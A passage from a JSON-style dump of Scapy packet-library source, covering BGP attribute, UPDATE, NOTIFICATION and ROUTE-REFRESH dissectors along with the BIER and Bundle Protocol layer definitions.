BGPPAExtCommRedirectAS2Byte(m)\n            elif type_low == 0x09:\n                ret = BGPPAExtCommTrafficMarking(m)\n\n            else:\n                ret = conf.raw_layer(m)\n\n        elif type_high == 0x81:\n            # FlowSpec\n            if type_low == 0x08:\n                ret = BGPPAExtCommRedirectIPv4(m)\n\n        elif type_high == 0x82:\n            # FlowSpec\n            if type_low == 0x08:\n                ret = BGPPAExtCommRedirectAS4Byte(m)\n\n        else:\n            ret = conf.raw_layer(m)\n\n        return ret\n\n\nclass BGPPAIPv6AddressSpecificExtComm(Packet):\n    \"\"\"\n    Provides an implementation of the IPv6 Address Specific Extended\n    Community attribute. This attribute is not defined using the existing\n    BGP Extended Community attribute (see the RFC 5701 excerpt below).\n    References: RFC 5701\n    \"\"\"\n\n    name = \"IPv6 Address Specific Extended Community\"\n    fields_desc = [\n        IP6Field(\"global_administrator\", \"::\"), ShortField(\"local_administrator\", 0)]  # noqa: E501\n\n\ndef _get_ext_comm_subtype(type_high):\n    \"\"\"\n    Returns a ByteEnumField with the right sub-types dict for a given community.  # noqa: E501\n    http://www.iana.org/assignments/bgp-extended-communities/bgp-extended-communities.xhtml\n    \"\"\"\n\n    return _ext_comm_subtypes_classes.get(type_high, {})\n\n\nclass _TypeLowField(ByteField):\n    \"\"\"\n    Field used to retrieve \"dynamically\" the right sub-type dict.\n    \"\"\"\n\n    __slots__ = [\"enum_from\"]\n\n    def __init__(self, name, default, enum_from=None):\n        ByteField.__init__(self, name=name, default=default)\n        self.enum_from = enum_from\n\n    def i2repr(self, pkt, i):\n        enum = self.enum_from(pkt)\n        return enum.get(i, i)\n\n\nclass BGPPAExtCommunity(Packet):\n    \"\"\"\n    Provides an implementation of the Extended Communities attribute.\n    References: RFC 4360\n    \"\"\"\n\n    name = \"EXTENDED_COMMUNITY\"\n    fields_desc = [\n        ByteEnumField(\"type_high\", 0, _ext_comm_types),\n        _TypeLowField(\n            \"type_low\",\n            None,\n            enum_from=lambda x: _get_ext_comm_subtype(x.type_high)\n        ),\n        _ExtCommValuePacketField(\n            \"value\",\n            None,\n            Packet,\n            type_from=lambda x: (x.type_high, x.type_low)\n        )\n    ]\n\n    def post_build(self, p, pay):\n        if self.value is None:\n            p = p[:2]\n        if self.type_low is None and self.value is not None:\n            high, low = _ext_high_low_dict.get(self.value.__class__, (0x00, 0x00))  # noqa: E501\n            p = chb(high) + chb(low) + p[2:]\n        return p + pay\n\n\nclass _ExtCommsPacketListField(PacketListField):\n    \"\"\"\n    PacketListField handling a list of extended communities.\n    \"\"\"\n\n    def getfield(self, pkt, s):\n        lst = []\n        length = len(s)\n        remain = s[:length]\n\n        while remain:\n            current = remain[:8]\n            remain = remain[8:]\n            packet = self.m2i(pkt, current)\n            lst.append(packet)\n\n        return remain, lst\n\n\nclass BGPPAExtComms(Packet):\n    \"\"\"\n    Packet handling the multiple extended communities.\n    \"\"\"\n\n    name = \"EXTENDED_COMMUNITIES\"\n    fields_desc = [\n        _ExtCommsPacketListField(\n            \"extended_communities\",\n            [],\n            BGPPAExtCommunity\n        )\n    ]\n\n\nclass MPReachNLRIPacketListField(PacketListField):\n    \"\"\"\n    PacketListField handling the AFI specific part (except for the length of\n    Next Hop Network Address field, which is not AFI specific) of the\n    MP_REACH_NLRI attribute.\n    \"\"\"\n\n    def getfield(self, pkt, s):\n        lst = []\n        remain = s\n\n        # IPv6\n        if pkt.afi == 2:\n            if pkt.safi == 1:\n                # BGPNLRI_IPv6\n                while remain:\n                    mask = orb(remain[0])\n                    length_in_bytes = (mask + 7) // 8\n                    current = remain[:length_in_bytes + 1]\n                    remain = remain[length_in_bytes + 1:]\n                    prefix = self.m2i(pkt, current)\n                    lst.append(prefix)\n\n        return remain, lst\n\n\nclass BGPPAMPReachNLRI(Packet):\n    \"\"\"\n    Packet handling the MP_REACH_NLRI attribute value, for non IPv6\n    AFI.\n    References: RFC 4760\n    \"\"\"\n\n    name = \"MP_REACH_NLRI\"\n    fields_desc = [\n        ShortEnumField(\"afi\", 0, address_family_identifiers),\n        ByteEnumField(\"safi\", 0, subsequent_afis),\n        ByteField(\"nh_addr_len\", 0),\n        ConditionalField(IPField(\"nh_v4_addr\", \"0.0.0.0\"),\n                         lambda x: x.afi == 1 and x.nh_addr_len == 4),\n        ConditionalField(IP6Field(\"nh_v6_addr\", \"::\"),\n                         lambda x: x.afi == 2 and x.nh_addr_len == 16),\n        ConditionalField(IP6Field(\"nh_v6_global\", \"::\"),\n                         lambda x: x.afi == 2 and x.nh_addr_len == 32),\n        ConditionalField(IP6Field(\"nh_v6_link_local\", \"::\"),\n                         lambda x: x.afi == 2 and x.nh_addr_len == 32),\n        ByteField(\"reserved\", 0),\n        MPReachNLRIPacketListField(\"nlri\", [], BGPNLRI_IPv6,\n                                   max_count=20000)]\n\n    def post_build(self, p, pay):\n        if self.nlri is None:\n            p = p[:3]\n\n        return p + pay\n\n\n#\n# MP_UNREACH_NLRI\n#\n\nclass BGPPAMPUnreachNLRI_IPv6(Packet):\n    \"\"\"\n    Packet handling the MP_UNREACH_NLRI attribute value, for IPv6 AFI.\n    \"\"\"\n\n    name = \"MP_UNREACH_NLRI (IPv6 NLRI)\"\n    fields_desc = [BGPNLRIPacketListField(\"withdrawn_routes\", [], \"IPv6\")]\n\n\nclass MPUnreachNLRIPacketField(PacketField):\n    \"\"\"\n    PacketField handling the AFI specific part of the MP_UNREACH_NLRI\n    attribute.\n    \"\"\"\n\n    def m2i(self, pkt, m):\n        ret = None\n\n        if pkt.afi == 2:\n            ret = BGPPAMPUnreachNLRI_IPv6(m)\n        else:\n            ret = conf.raw_layer(m)\n\n        return ret\n\n\nclass BGPPAMPUnreachNLRI(Packet):\n    \"\"\"\n    Packet handling the MP_UNREACH_NLRI attribute value, for non IPv6\n    AFI.\n    References: RFC 4760\n    \"\"\"\n\n    name = \"MP_UNREACH_NLRI\"\n    fields_desc = [ShortEnumField(\"afi\", 0, address_family_identifiers),\n                   ByteEnumField(\"safi\", 0, subsequent_afis),\n                   MPUnreachNLRIPacketField(\"afi_safi_specific\", None, Packet)]\n\n    def post_build(self, p, pay):\n        if self.afi_safi_specific is None:\n            p = p[:3]\n\n        return p + pay\n\n\n#\n# AS4_PATH\n#\n\nclass BGPPAAS4Path(Packet):\n    \"\"\"\n    Provides an implementation of the AS4_PATH attribute \"value part\".\n    References: RFC 4893\n    \"\"\"\n\n    name = \"AS4_PATH\"\n    fields_desc = [\n        ByteEnumField(\n            \"segment_type\",\n            2,\n            {1: \"AS_SET\", 2: \"AS_SEQUENCE\"}\n        ),\n        ByteField(\"segment_length\", None),\n        FieldListField(\"segment_value\", [], IntField(\"asn\", 0))\n    ]\n\n    def post_build(self, p, pay):\n        if self.segment_length is None:\n            segment_len = len(self.segment_value)\n            p = p[:1] + chb(segment_len) + p[2:]\n\n        return p + pay\n\n\n#\n# LARGE_COMMUNITY\n#\n\nclass BGPLargeCommunitySegment(Packet):\n    \"\"\"\n    Provides an implementation for LARGE_COMMUNITY segments\n    which holds 3*4 bytes integers.\n    \"\"\"\n\n    fields_desc = [\n        IntField(\"global_administrator\", None),\n        IntField(\"local_data_part1\", None),\n        IntField(\"local_data_part2\", None)\n    ]\n\n\nclass BGPPALargeCommunity(Packet):\n    \"\"\"\n    Provides an implementation of the LARGE_COMMUNITY attribute.\n    References: RFC 8092, RFC 8195\n    \"\"\"\n\n    name = \"LARGE_COMMUNITY\"\n    fields_desc = [PacketListField(\"segments\", [], BGPLargeCommunitySegment)]\n\n#\n# AS4_AGGREGATOR\n#\n\n\nclass BGPPAAS4Aggregator(Packet):\n    \"\"\"\n    Provides an implementation of the AS4_AGGREGATOR attribute\n    \"value part\".\n    References: RFC 4893\n    \"\"\"\n\n    name = \"AS4_AGGREGATOR \"\n    fields_desc = [IntField(\"aggregator_asn\", 0),\n                   IPField(\"speaker_address\", \"0.0.0.0\")]\n\n\n_path_attr_objects = {\n    0x01: \"BGPPAOrigin\",\n    0x02: \"BGPPAASPath\",  # if bgp_module_conf.use_2_bytes_asn, BGPPAAS4BytesPath otherwise  # noqa: E501\n    0x03: \"BGPPANextHop\",\n    0x04: \"BGPPAMultiExitDisc\",\n    0x05: \"BGPPALocalPref\",\n    0x06: \"BGPPAAtomicAggregate\",\n    0x07: \"BGPPAAggregator\",\n    0x08: \"BGPPACommunity\",\n    0x09: \"BGPPAOriginatorID\",\n    0x0A: \"BGPPAClusterList\",\n    0x0E: \"BGPPAMPReachNLRI\",\n    0x0F: \"BGPPAMPUnreachNLRI\",\n    0x10: \"BGPPAExtComms\",\n    0x11: \"BGPPAAS4Path\",\n    0x19: \"BGPPAIPv6AddressSpecificExtComm\",\n    0x20: \"BGPPALargeCommunity\"\n}\n\n\nclass _PathAttrPacketField(PacketField):\n    \"\"\"\n    PacketField handling path attribute value parts.\n    \"\"\"\n\n    def m2i(self, pkt, m):\n        ret = None\n        type_code = pkt.type_code\n\n        # Reserved\n        if type_code == 0 or type_code == 255:\n            ret = conf.raw_layer(m)\n        # Unassigned\n        elif (type_code >= 33 and type_code <= 39) or\\\n            (type_code >= 41 and type_code <= 127) or\\\n                (type_code >= 129 and type_code <= 254):\n            ret = conf.raw_layer(m)\n        # Known path attributes\n        else:\n            if type_code == 0x02 and not bgp_module_conf.use_2_bytes_asn:\n                ret = BGPPAAS4BytesPath(m)\n            elif type_code == 0x20:\n                ret = BGPPALargeCommunity(m)\n            else:\n                ret = _get_cls(\n                    _path_attr_objects.get(type_code, conf.raw_layer))(m)\n\n        return ret\n\n\nclass BGPPathAttr(Packet):\n    \"\"\"\n    Provides an implementation of the path attributes.\n    References: RFC 4271\n    \"\"\"\n\n    name = \"BGPPathAttr\"\n    fields_desc = [\n        FlagsField(\"type_flags\", 0x80, 8, [\n            \"NA0\",\n            \"NA1\",\n            \"NA2\",\n            \"NA3\",\n            \"Extended-Length\",\n            \"Partial\",\n            \"Transitive\",\n            \"Optional\"\n        ]),\n        ByteEnumField(\"type_code\", 0, path_attributes),\n        ConditionalField(\n            ShortField(\"attr_ext_len\", None),\n            lambda x: x.type_flags is not None and\n            has_extended_length(x.type_flags)\n        ),\n        ConditionalField(\n            ByteField(\"attr_len\", None),\n            lambda x: x.type_flags is not None and not\n            has_extended_length(x.type_flags)\n        ),\n        _PathAttrPacketField(\"attribute\", None, Packet)\n    ]\n\n    def post_build(self, p, pay):\n        flags_value = None\n        length = None\n        packet = None\n        extended_length = False\n\n        # Set default flags value ?\n        if self.type_flags is None:\n            # Set the standard value, if it is exists in attributes_flags.\n            if self.type_code in attributes_flags:\n                flags_value = attributes_flags.get(self.type_code)\n\n            # Otherwise, set to optional, non-transitive.\n            else:\n                flags_value = 0x80\n\n            extended_length = has_extended_length(flags_value)\n        else:\n            extended_length = has_extended_length(self.type_flags)\n\n        # Set the flags\n        if flags_value is None:\n            packet = p[:2]\n        else:\n            packet = struct.pack(\"!B\", flags_value) + p[1]\n\n        # Add the length\n        if self.attr_len is None:\n            if self.attribute is None:\n                length = 0\n            else:\n                if extended_length:\n                    length = len(p) - 4  # Flags + Type + Length (2 bytes)\n                else:\n                    length = len(p) - 3  # Flags + Type + Length (1 byte)\n\n        if length is None:\n            if extended_length:\n                packet = packet + p[2:4]\n            else:\n                packet = packet + p[2]\n        else:\n            if extended_length:\n                packet = packet + struct.pack(\"!H\", length)\n            else:\n                packet = packet + struct.pack(\"!B\", length)\n\n        # Append the rest of the message\n        if extended_length:\n            if self.attribute is not None:\n                packet = packet + p[4:]\n        else:\n            if self.attribute is not None:\n                packet = packet + p[3:]\n\n        return packet + pay\n\n\n#\n# UPDATE\n#\n\nclass BGPUpdate(BGP):\n    \"\"\"\n    UPDATE messages allow peers to exchange routes.\n    References: RFC 4271\n    \"\"\"\n\n    name = \"UPDATE\"\n    fields_desc = [\n        FieldLenField(\n            \"withdrawn_routes_len\",\n            None,\n            length_of=\"withdrawn_routes\",\n            fmt=\"!H\"\n        ),\n        BGPNLRIPacketListField(\n            \"withdrawn_routes\",\n            [],\n            \"IPv4\",\n            length_from=lambda p: p.withdrawn_routes_len\n        ),\n        FieldLenField(\n            \"path_attr_len\",\n            None,\n            length_of=\"path_attr\",\n            fmt=\"!H\"\n        ),\n        BGPPathAttrPacketListField(\n            \"path_attr\",\n            [],\n            BGPPathAttr,\n            length_from=lambda p: p.path_attr_len\n        ),\n        BGPNLRIPacketListField(\"nlri\", [], \"IPv4\",\n                               max_count=20000)\n    ]\n\n    def post_build(self, p, pay):\n        subpacklen = lambda p: len(p)\n        packet = \"\"\n        if self.withdrawn_routes_len is None:\n            wl = sum(map(subpacklen, self.withdrawn_routes))\n            packet = p[:0] + struct.pack(\"!H\", wl) + p[2:]\n        else:\n            wl = self.withdrawn_routes_len\n        if self.path_attr_len is None:\n            length = sum(map(subpacklen, self.path_attr))\n            packet = p[:2 + wl] + struct.pack(\"!H\", length) + p[4 + wl:]\n\n        return packet + pay\n\n\n#\n# NOTIFICATION\n#\n\n#\n# RFC 4271, RFC 7313\n# http://www.iana.org/assignments/bgp-parameters/bgp-parameters.xhtml#bgp-parameters-3\n#\n_error_codes = {\n    0x01: \"Message Header Error\",\n    0x02: \"OPEN Message Error\",\n    0x03: \"UPDATE Message Error\",\n    0x04: \"Hold Timer Expired\",\n    0x05: \"Finite State Machine Error\",\n    0x06: \"Cease\",\n    0x07: \"ROUTE-REFRESH Message Error\",  # RFC 7313\n}\n\n#\n# http://www.iana.org/assignments/bgp-parameters/bgp-parameters.xhtml#bgp-parameters-4\n#\n_error_subcodes = {\n    # Reserved\n    0: {},\n\n    # Header (RFC 4271)\n    1:\n    {\n        0: \"Unspecific\",\n        1: \"Connection Not Synchronized\",\n        2: \"Bad Message Length\",\n        3: \"Bad Message Type\"\n    },\n\n    # OPEN (RFC 4271, RFC 5492)\n    2:\n    {\n        0: \"Reserved\",\n        1: \"Unsupported Version Number\",\n        2: \"Bad Peer AS\",\n        3: \"Bad BGP Identifier\",\n        4: \"Unsupported Optional Parameter\",\n        5: \"Authentication Failure - Deprecated (RFC 4271)\",\n        6: \"Unacceptable Hold Time\",\n        7: \"Unsupported Capability\"\n    },\n\n    # UPDATE (RFC 4271)\n    3:\n    {\n        0: \"Reserved\",\n        1: \"Malformed Attribute List\",\n        2: \"Unrecognized Well-known Attribute\",\n        3: \"Missing Well-known Attribute\",\n        4: \"Attribute Flags Error\",\n        5: \"Attribute Length Error\",\n        6: \"Invalid ORIGIN Attribute\",\n        7: \"AS Routing Loop - Deprecated (RFC 4271)\",\n        8: \"Invalid NEXT_HOP Attribute\",\n        9: \"Optional Attribute Error\",\n        10: \"Invalid Network Field\",\n        11: \"Malformed AS_PATH\"\n    },\n\n    # Hold Timer Expired\n    4: {},\n\n    # Finite State Machine Error (RFC 6608)\n    5:\n    {\n        0: \"Unspecified Error\",\n        1: \"Receive Unexpected Message in OpenSent State\",\n        2: \"Receive Unexpected Message in OpenConfirm State\",\n        3: \"Receive Unexpected Message in Established State\"\n    },\n\n    # Cease (RFC 4486)\n    6:\n    {\n        0: \"Unspecified Error\",\n        1: \"Maximum Number of Prefixes Reached\",\n        2: \"Administrative Shutdown\",\n        3: \"Peer De-configured\",\n        4: \"Administrative Reset\",\n        5: \"Connection Rejected\",\n        6: \"Other Configuration Change\",\n        7: \"Connection Collision Resolution\",\n        8: \"Out of Resources\",\n    },\n\n    # ROUTE-REFRESH (RFC 7313)\n    7:\n    {\n        0: \"Reserved\",\n        1: \"Invalid Message Length\"\n    },\n}\n\n\nclass BGPNotification(BGP):\n    \"\"\"\n    NOTIFICATION messages end a BGP session.\n    References: RFC 4271\n    \"\"\"\n\n    name = \"NOTIFICATION\"\n    fields_desc = [\n        ByteEnumField(\"error_code\", 0, _error_codes),\n        MultiEnumField(\n            \"error_subcode\",\n            0,\n            _error_subcodes,\n            depends_on=lambda p: p.error_code,\n            fmt=\"B\"\n        ),\n        StrField(name=\"data\", default=None)\n    ]\n\n\n#\n# ROUTE_REFRESH\n#\n\n_orf_when_to_refresh = {\n    0x01: \"IMMEDIATE\",\n    0x02: \"DEFER\"\n}\n\n\n_orf_actions = {\n    0: \"ADD\",\n    1: \"REMOVE\",\n    2: \"REMOVE-ALL\"\n}\n\n\n_orf_match = {\n    0: \"PERMIT\",\n    1: \"DENY\"\n}\n\n\n_orf_entry_afi = 1\n_orf_entry_safi = 1\n\n\ndef _update_orf_afi_safi(afi, safi):\n    \"\"\"\n    Helper function that sets the afi / safi values\n    of ORP entries.\n    \"\"\"\n\n    global _orf_entry_afi\n    global _orf_entry_safi\n\n    _orf_entry_afi = afi\n    _orf_entry_safi = safi\n\n\nclass BGPORFEntry(Packet):\n    \"\"\"\n    Provides an implementation of an ORF entry.\n    References: RFC 5291\n    \"\"\"\n    __slots__ = [\"afi\", \"safi\"]\n    name = \"ORF entry\"\n    fields_desc = [\n        BitEnumField(\"action\", 0, 2, _orf_actions),\n        BitEnumField(\"match\", 0, 1, _orf_match),\n        BitField(\"reserved\", 0, 5),\n        StrField(\"value\", \"\")\n    ]\n\n    def __init__(self, *args, **kwargs):\n        self.afi = kwargs.pop(\"afi\", 1)\n        self.safi = kwargs.pop(\"safi\", 1)\n        super(BGPORFEntry, self).__init__(*args, **kwargs)\n\n\nclass _ORFNLRIPacketField(PacketField):\n    \"\"\"\n    PacketField handling the ORF NLRI.\n    \"\"\"\n\n    def m2i(self, pkt, m):\n        ret = None\n\n        if pkt.afi == 1:\n            # IPv4\n            ret = BGPNLRI_IPv4(m)\n\n        elif pkt.afi == 2:\n            # IPv6\n            ret = BGPNLRI_IPv6(m)\n\n        else:\n            ret = conf.raw_layer(m)\n\n        return ret\n\n\nclass BGPORFAddressPrefix(BGPORFEntry):\n    \"\"\"\n    Provides an implementation of the Address Prefix ORF (RFC 5292).\n    \"\"\"\n    name = \"Address Prefix ORF\"\n    fields_desc = [\n        BitEnumField(\"action\", 0, 2, _orf_actions),\n        BitEnumField(\"match\", 0, 1, _orf_match),\n        BitField(\"reserved\", 0, 5),\n        IntField(\"sequence\", 0),\n        ByteField(\"min_len\", 0),\n        ByteField(\"max_len\", 0),\n        _ORFNLRIPacketField(\"prefix\", \"\", Packet),\n    ]\n\n\nclass BGPORFCoveringPrefix(BGPORFEntry):\n    \"\"\"\n    Provides an implementation of the CP-ORF (RFC 7543).\n    \"\"\"\n    name = \"CP-ORF\"\n    fields_desc = [\n        BitEnumField(\"action\", 0, 2, _orf_actions),\n        BitEnumField(\"match\", 0, 1, _orf_match),\n        BitField(\"reserved\", 0, 5),\n        IntField(\"sequence\", 0),\n        ByteField(\"min_len\", 0),\n        ByteField(\"max_len\", 0),\n        LongField(\"rt\", 0),\n        LongField(\"import_rt\", 0),\n        ByteField(\"route_type\", 0),\n        PacketField(\"host_addr\", None, Packet)\n    ]\n\n\nclass BGPORFEntryPacketListField(PacketListField):\n    \"\"\"\n    PacketListField handling the ORF entries.\n    \"\"\"\n\n    def m2i(self, pkt, m):\n        ret = None\n\n        if isinstance(pkt.underlayer, BGPRouteRefresh):\n            afi = pkt.underlayer.afi\n            safi = pkt.underlayer.safi\n        else:\n            afi = 1\n            safi = 1\n\n        # Cisco also uses 128\n        if pkt.orf_type == 64 or pkt.orf_type == 128:\n            ret = BGPORFAddressPrefix(m, afi=afi, safi=safi)\n\n        elif pkt.orf_type == 65:\n            ret = BGPORFCoveringPrefix(m, afi=afi, safi=safi)\n\n        else:\n            ret = conf.raw_layer(m)\n\n        return ret\n\n    def getfield(self, pkt, s):\n        lst = []\n        length = 0\n        ret = b\"\"\n        if self.length_from is not None:\n            length = self.length_from(pkt)\n        remain = s\n        if length <= 0:\n            return s, []\n        if length is not None:\n            remain, ret = s[:length], s[length:]\n\n        while remain:\n            orf_len = length\n\n            # Get value length, depending on the ORF type\n            if pkt.orf_type == 64 or pkt.orf_type == 128:\n                # Address Prefix ORF\n                # Get the length, in bits, of the prefix\n                prefix_len = _bits_to_bytes_len(\n                    orb(remain[6])\n                )\n                # flags (1 byte) + sequence (4 bytes) + min_len (1 byte) +\n                # max_len (1 byte) + mask_len (1 byte) + prefix_len\n                orf_len = 8 + prefix_len\n\n            elif pkt.orf_type == 65:\n                # Covering Prefix ORF\n\n                if pkt.afi == 1:\n                    # IPv4\n                    # sequence (4 bytes) + min_len (1 byte) + max_len (1 byte) +  # noqa: E501\n                    # rt (8 bytes) + import_rt (8 bytes) + route_type (1 byte)\n                    orf_len = 23 + 4\n\n                elif pkt.afi == 2:\n                    # IPv6\n                    # sequence (4 bytes) + min_len (1 byte) + max_len (1 byte) +  # noqa: E501\n                    # rt (8 bytes) + import_rt (8 bytes) + route_type (1 byte)\n                    orf_len = 23 + 16\n\n                elif pkt.afi == 25:\n                    # sequence (4 bytes) + min_len (1 byte) + max_len (1 byte) +  # noqa: E501\n                    # rt (8 bytes) + import_rt (8 bytes)\n                    route_type = orb(remain[22])\n\n                    if route_type == 2:\n                        # MAC / IP Advertisement Route\n                        orf_len = 23 + 6\n\n                    else:\n                        orf_len = 23\n\n            current = remain[:orf_len]\n            remain = remain[orf_len:]\n            packet = self.m2i(pkt, current)\n            lst.append(packet)\n\n        return remain + ret, lst\n\n\nclass BGPORF(Packet):\n    \"\"\"\n    Provides an implementation of ORFs carried in the RR message.\n    References: RFC 5291\n    \"\"\"\n\n    name = \"ORF\"\n    fields_desc = [\n        ByteEnumField(\"when_to_refresh\", 0, _orf_when_to_refresh),\n        ByteEnumField(\"orf_type\", 0, _orf_types),\n        FieldLenField(\"orf_len\", None, length_of=\"entries\", fmt=\"!H\"),\n        BGPORFEntryPacketListField(\n            \"entries\",\n            [],\n            Packet,\n            length_from=lambda p: p.orf_len,\n            max_count=20000,\n        )\n    ]\n\n\n# RFC 7313\n# http://www.iana.org/assignments/bgp-parameters/bgp-parameters.xhtml#route-refresh-subcodes\nrr_message_subtypes = {\n    0: \"Route-Refresh\",\n    1: \"BoRR\",\n    2: \"EoRR\",\n    255: \"Reserved\"\n}\n\n\nclass BGPRouteRefresh(BGP):\n    \"\"\"\n    Provides an implementation of the ROUTE-REFRESH message.\n    References: RFC 2918, RFC 7313\n    \"\"\"\n\n    name = \"ROUTE-REFRESH\"\n    fields_desc = [\n        ShortEnumField(\"afi\", 1, address_family_identifiers),\n        ByteEnumField(\"subtype\", 0, rr_message_subtypes),\n        ByteEnumField(\"safi\", 1, subsequent_afis),\n        ConditionalField(\n            PacketField('orf_data', \"\", BGPORF),\n            lambda p: (\n                (p.underlayer and p.underlayer.len or 24) > 23\n            )\n        )\n    ]\n\n\n#\n# Layer bindings\n#\n\nbind_layers(TCP, BGP, dport=179)\nbind_layers(TCP, BGP, sport=179)\nbind_layers(BGPHeader, BGPOpen, {\"type\": 1})\nbind_layers(BGPHeader, BGPUpdate, {\"type\": 2})\nbind_layers(BGPHeader, BGPNotification, {\"type\": 3})\nbind_layers(BGPHeader, BGPKeepAlive, {\"type\": 4})\nbind_layers(BGPHeader, BGPRouteRefresh, {\"type\": 5})\n\n# When loading the module, display the current module configuration.\nlog_runtime.warning(\n    \"[bgp.py] use_2_bytes_asn: %s\", bgp_module_conf.use_2_bytes_asn)\n"
  },
  {
    "path": "scapy/contrib/bier.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = Bit Index Explicit Replication (BIER)\n# scapy.contrib.status = loads\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import BitEnumField, BitField, BitFieldLenField, ByteField, \\\n    ShortField, StrLenField\nfrom scapy.layers.inet import IP, UDP\nfrom scapy.layers.inet6 import IPv6\n\n\nclass BIERLength:\n    BIER_LEN_64 = 0\n    BIER_LEN_128 = 1\n    BIER_LEN_256 = 2\n    BIER_LEN_512 = 3\n    BIER_LEN_1024 = 4\n\n\nBIERnhcls = {1: \"MPLS\",\n             2: \"MPLS\",\n             4: \"IPv4\",\n             5: \"IPv6\"}\n\n\nclass BIFT(Packet):\n    name = \"BIFT\"\n    fields_desc = [BitField(\"bsl\", BIERLength.BIER_LEN_256, 4),\n                   BitField(\"sd\", 0, 8),\n                   BitField(\"set\", 0, 8),\n                   BitField(\"cos\", 0, 3),\n                   BitField(\"s\", 1, 1),\n                   ByteField(\"ttl\", 0)]\n\n\nclass BIER(Packet):\n    name = \"BIER\"\n    fields_desc = [BitField(\"id\", 5, 4),\n                   BitField(\"version\", 0, 4),\n                   BitFieldLenField(\"length\", BIERLength.BIER_LEN_256, 4,\n                                    length_of=lambda x:(x.BitString >> 8)),\n                   BitField(\"entropy\", 0, 20),\n                   BitField(\"OAM\", 0, 2),\n                   BitField(\"RSV\", 0, 2),\n                   BitField(\"DSCP\", 0, 6),\n                   BitEnumField(\"Proto\", 2, 6, BIERnhcls),\n                   ShortField(\"BFRID\", 0),\n                   StrLenField(\"BitString\",\n                               \"\",\n                               length_from=lambda x:(8 << x.length))]\n\n\nbind_layers(BIER, IP, Proto=4)\nbind_layers(BIER, IPv6, Proto=5)\nbind_layers(UDP, BIFT, dport=8138)\nbind_layers(BIFT, BIER)\n"
  },
  {
    "path": "scapy/contrib/bp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2012 The MITRE Corporation\n\n\"\"\"\n.. centered::\n    NOTICE\n    This software/technical data was produced for the U.S. Government\n    under Prime Contract No. NASA-03001 and JPL Contract No. 1295026\n    and is subject to FAR 52.227-14 (6/87) Rights in Data General,\n    and Article GP-51, Rights in Data  General, respectively.\n    This software is publicly released under MITRE case #12-3054\n\"\"\"\n\n# scapy.contrib.description = Bundle Protocol (BP)\n# scapy.contrib.status = loads\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import ByteEnumField, ByteField, ConditionalField, \\\n    StrLenField\nfrom scapy.contrib.sdnv import SDNV2FieldLenField, SDNV2LenField, SDNV2\nfrom scapy.contrib.ltp import LTP, ltp_bind_payload\n\n\nclass BP(Packet):\n    name = \"BP\"\n    fields_desc = [ByteField('version', 0x06),\n                   SDNV2('ProcFlags', 0),\n                   SDNV2LenField('BlockLen', None),\n                   SDNV2('DSO', 0),\n                   SDNV2('DSSO', 0),\n                   SDNV2('SSO', 0),\n                   SDNV2('SSSO', 0),\n                   SDNV2('RTSO', 0),\n                   SDNV2('RTSSO', 0),\n                   SDNV2('CSO', 0),\n                   SDNV2('CSSO', 0),\n                   SDNV2('CT', 0),\n                   SDNV2('CTSN', 0),\n                   SDNV2('LT', 0),\n                   SDNV2('DL', 0),\n                   ConditionalField(SDNV2(\"FO\", 0), lambda x: (\n                       x.ProcFlags & 0x01)),\n                   ConditionalField(SDNV2(\"ADUL\", 0), lambda x: (\n                       x.ProcFlags & 0x01)),\n                   ]\n\n    def mysummary(self):\n        tmp = \"BP(%version%) flags(\"\n        if (self.ProcFlags & 0x01):\n            tmp += ' FR'\n        if (self.ProcFlags & 0x02):\n            tmp += ' AR'\n        if (self.ProcFlags & 0x04):\n            tmp += ' DF'\n        if (self.ProcFlags & 0x08):\n            tmp += ' CT'\n        if (self.ProcFlags & 0x10):\n            tmp += ' S'\n        if (self.ProcFlags & 0x20):\n            tmp += ' ACKME'\n        RAWCOS = (self.ProcFlags & 0x0180)\n        COS = RAWCOS >> 7\n        cos_tmp = ''\n        if COS == 0x00:\n            cos_tmp += 'B '\n        if COS == 0x01:\n            cos_tmp += 'N '\n        if COS == 0x02:\n            cos_tmp += 'E '\n        if COS & 0xFE000:\n            cos_tmp += 'SRR: ('\n        if COS & 0x02000:\n            cos_tmp += 'Rec '\n        if COS & 0x04000:\n            cos_tmp += 'CA '\n        if COS & 0x08000:\n            cos_tmp += 'FWD '\n        if COS & 0x10000:\n            cos_tmp += 'DLV '\n        if COS & 0x20000:\n            cos_tmp += 'DEL '\n        if COS & 0xFE000:\n            cos_tmp += ') '\n\n        if cos_tmp:\n            tmp += ' Pr: ' + cos_tmp\n\n        tmp += \" ) len(%BlockLen%) \"\n        if self.DL == 0:\n            tmp += \"CBHE: d[%DSO%,%DSSO%] s[%SSO%, %SSSO%] r[%RTSO%, %RTSSO%] c[%CSO%, %CSSO%] \"  # noqa: E501\n        else:\n            tmp += \"dl[%DL%] \"\n        tmp += \"ct[%CT%] ctsn[%CTSN%] lt[%LT%] \"\n        if (self.ProcFlags & 0x01):\n            tmp += \"fo[%FO%] \"\n            tmp += \"tl[%ADUL%]\"\n\n        return self.sprintf(tmp), [LTP]\n\n\nclass BPBLOCK(Packet):\n    fields_desc = [ByteEnumField('Type', 1, {1: \"Bundle payload block\"}),\n                   SDNV2('ProcFlags', 0),\n                   SDNV2FieldLenField('BlockLen', None, length_of=\"load\"),\n                   StrLenField(\"load\", \"\",\n                               length_from=lambda pkt: pkt.BlockLen,\n                               max_length=65535)\n                   ]\n\n    def mysummary(self):\n        return self.sprintf(\"BPBLOCK(%Type%) Flags: %ProcFlags% Len: %BlockLen%\")  # noqa: E501\n\n\nltp_bind_payload(BP, lambda pkt: pkt.DATA_ClientServiceID == 1)\nbind_layers(BP, BPBLOCK)\nbind_layers(BPBLOCK, BPBLOCK)\n"
  },
  {
    "path": "scapy/contrib/cansocket.py",
